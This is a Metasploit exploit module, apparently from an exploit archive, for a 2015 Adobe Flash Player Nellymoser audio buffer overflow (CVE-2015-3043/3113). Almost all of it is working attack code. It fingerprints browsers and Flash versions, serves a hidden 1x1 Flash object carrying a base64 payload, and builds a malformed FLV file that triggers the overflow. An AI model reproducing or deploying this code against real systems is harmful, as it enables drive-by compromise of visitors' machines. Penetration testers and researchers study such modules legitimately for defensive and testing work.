Adobe Flash Player – Nellymoser Audio Decoding Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser encoded audio inside a FLV video, as exploited in the wild on June 2015. This module has been tested successfully on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160, Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160, Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466. Note that this exploit is effective against both CVE-2015-3113 and the earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression to the same root cause as CVE-2015-3043. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-3043'], ['CVE', '2015-3113'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'], ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'], ['URL', 'http://bobao.360.cn/learning/detail/357.html'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win', 'linux'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF when 'Linux' return true if ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161') return true if ver =~ /^17\./ && Gem::Version.new(ver) != Gem::Version.new('17.0.0.169') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') && Gem::Version.new(ver) != Gem::Version.new('11.2.202.457') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jun 23 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf @flv = create_flv super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end if request.uri =~ /\.flv$/ print_status('Sending FLV...') send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' elsif target.name =~ /Linux/ platform_id = 'linux' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="https://www.exploit-db.com/exploits/37536/<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end def create_flv header = '' header << 'FLV' # signature header << [1].pack('C') # version header << [4].pack('C') # Flags: TypeFlagsAudio header << [9].pack('N') # DataOffset data = '' data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0 data << "\xee" * 0x440 # SoundData tag1 = '' tag1 << [8].pack('C') # TagType (audio) tag1 << "\x00\x04\x41" # DataSize tag1 << "\x00\x00\x1a" # TimeStamp tag1 << [0].pack('C') # TimeStampExtended tag1 << "\x00\x00\x00" # StreamID, always 0 tag1 << data body = '' body << [0].pack('N') # PreviousTagSize body << tag1 body << [0xeeeeeeee].pack('N') # PreviousTagSize flv = '' flv << header flv << body flv end end |